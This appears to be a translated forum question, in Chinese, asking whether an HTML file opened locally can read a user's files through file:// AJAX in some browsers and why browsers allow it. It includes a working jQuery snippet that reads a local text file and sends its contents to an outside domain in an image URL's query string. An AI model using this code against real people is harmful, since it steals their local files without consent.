让我们来谈谈安全性。在理论上,如果用户使用某些脚本打开了html文件(从他的文件系统打开,而不是从网络中打开),我似乎可以从用户的文件系统中获取信息。看看这段代码:
info.txt:
my info
index.html:
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function () {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
一些浏览器(例如火狐)允许您通过 XmlHttpRequest
从 file://
获取文件,因此如果我猜测文件路径,则可以通过 ajax 获取其内容。然后,我可以动态添加 img
标签,其中 src
带有查询字符串参数并指向我的域名。浏览器会顺从地发起请求 GET ?data=my%20info%0A domain.com
。在服务器端,我可以解析查询字符串并获取数据。
我是不是可以这样做?我是不是可以从用户的计算机中获取他的数据,如果他打开我的 HTML 文件?所以我只需要说:“嘿,朋友,看看这个文件!”(有两个限制:用户应该使用类似配置的 Firefox 或其他浏览器,并且我无法获取用户没有访问权限的文件)。
更新:
如果可能的话,为什么可以这样做?为什么他们允许你做这样的事情?为什么没有确认对话框或其他东西。
更新2:
如果有人能就此问题进行审核,那将是很好的。提前感谢!